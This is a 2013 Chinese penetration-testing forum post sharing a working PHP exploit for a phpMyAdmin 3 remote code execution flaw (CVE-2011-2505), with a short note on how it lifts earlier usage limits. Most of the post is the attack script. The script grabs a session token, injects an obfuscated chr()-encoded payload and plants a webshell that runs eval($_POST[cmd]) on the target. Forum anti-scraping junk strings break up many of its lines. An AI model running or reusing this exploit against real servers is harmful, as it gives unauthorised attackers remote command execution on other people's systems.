中国网络渗透测试联盟

标题: phpadmin3 remote code execute php版本exploit [打印本页]

---

作者: admin    时间: 2013-2-21 09:13
标题: phpadmin3 remote code execute php版本exploit
最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。

昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
% P6 V, V( ]2 a6 u0 p
' A0 t, |; ?, h* D3 V首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
' m2 t1 Z- k6 r" V一是session.auto_start = 1；
% M7 v$ A6 |- V4 _6 o1 V& [二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
" @6 U5 h9 N, J" }0 @: }; W$ z8 p当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
; k1 e8 f' o7 Z9 ]) [$ y; F
在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

! ]- Q0 B1 ]0 Z$ y于是写了这个php版本的exp，代码如下：
" v+ X  R, p/ j% h- X: a! `
#!/usr/bin/php
" n+ O1 W- b0 c<?php
8 ~& c6 v( ~2 A- t4 V' rprint_r('
" K% ~1 w. z3 d* t$ r. W$ X( B* r+---------------------------------------------------------------------------+
# X7 {4 `2 Y- X- Vpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
welcome to www.t00ls.net
mail: oldjun@gmail.com
# D5 P+ y: M% ?' R* f0 S! XAssigned CVE id: CVE-2011-2505
7 ~4 W/ T5 {% S( ~! j; J1 j( E8 q+---------------------------------------------------------------------------+
');

/**
" [1 P: n; B. h$ S$ Z# L7 H * working when the directory:"config" exists and is writeable.
**/

if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
# Q# K2 z5 r2 \" f! `Usage: php '.$argv[0].' host path
3 b0 v5 F8 F) {8 t. J) V$ e5 Dhost:      target server (ip/hostname)
8 |/ s* F+ f+ h6 ~6 r, v1 ?path:      path to pma3
5 w' ]7 \. I& J9 ]Example:
php '.$argv[0].' localhost /pma/
+ W3 Y3 A+ V4 e" g$ Z+---------------------------------------------------------------------------+
7 r  N! n2 L$ S" Q+ }');
    exit;
}

" S, ~( x8 f2 T7 C0 P4 s$host = $argv[1];
/ l# i) G2 e% p+ S( v' A7 c$path = $argv[2];
+ B, p: z1 ^# f' t# B1 }* g9 M
+ {. u" P. Z' s+ W. x, E/**
& l1 q/ }; f4 \0 Y  Q; P * Try to determine if the directory:"config" exists
  }9 k$ }% [1 U# T, D& a**/
% D" j8 ]& d" `. J+ R$ E' uecho "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
: b! q4 o! D* t) X  ~) V6 x& Gif(strpos($returnstr,'404')){
$ R) k, J! I. |) z! z- w    exit("[-] Exploit Failed! The directory:config do not exists!\n");
}
/ S/ E9 j$ w9 i
/**
# k1 T4 u5 W2 M' V * Try to get token and sessionid
: w0 Z' j& d1 w- g" J**/
echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
$sessionid=$resp[1];
! \+ b7 f. X& J. L2 yif($token && $sessionid){
; t9 ?" W' D8 Q9 D& o; ^    echo "[+] tokentoken\n";
  D0 \, {: H/ e, N0 I    echo "[+] Session IDsessionid\n";
  C! D2 Y1 o- A% P# s( F6 x}else{
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}
" X0 x2 o9 }% B3 ^) K% ^0 j. K
# ~$ }# V$ W8 p  n7 l" D* b5 K/**
( O5 h2 d) ?; b+ k& B) G& m * Try to insert shell into session
6 |0 h+ K) m3 k- K/ i; f3 f**/
/ h( i* j1 t* Fecho "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
; |" G, X: p! U1 |8 A4 T6 P3 y
3 [! h5 K% M# C/**
* Try to create webshell
) B  D! u0 e/ t# [! O" w. q**/
: w6 e3 J. |" |: x1 necho "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
* Try to check if the webshell was created successfully
; s7 t0 j3 w% O4 W**/
echo "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
% N, F9 z4 a9 t2 N$ W) M, y}else{
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}

3 F6 t. k2 y/ g7 Gfunction php_request($url,$data='',$cookie=''){
    global  $host, $path;
   
1 l7 X9 X" r) d4 s! a7 H    $method=$data?'POST':'GET';
. R$ k' |# E" m+ l5 P6 R& |' Q   
3 Q6 G, i* ^- A    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
3 D7 S1 B1 M9 z) h* V    $packet .= "Host: $host\r\n";
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
- ^. c& Q: Y2 }5 I! V    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
# a2 C0 z. J4 i$ J9 I( ]$ S" _, h    $packet .= $data?$data:"";

    $fp = fsockopen(gethostbyname($host), 80);
    if (!$fp) {
& ^# j! L4 @) C' h8 Y2 ]    echo 'No response from '.$host; die;
3 B" i; _0 @8 v- o+ E3 v8 W    }
& e, Y, ?7 q$ `+ b" Y2 t    fputs($fp, $packet);
) F* G9 g/ ~4 Y8 I- V$ \" u
    $resp = '';

9 B! }+ L" N3 j$ Y7 ~    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
6 ]4 K0 z3 e4 X& L
( Y, F* R* _9 W1 a- B    return $resp;
}
   
; r5 q! ?4 B/ s3 \?>
/ R. J/ V. f3 L.

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2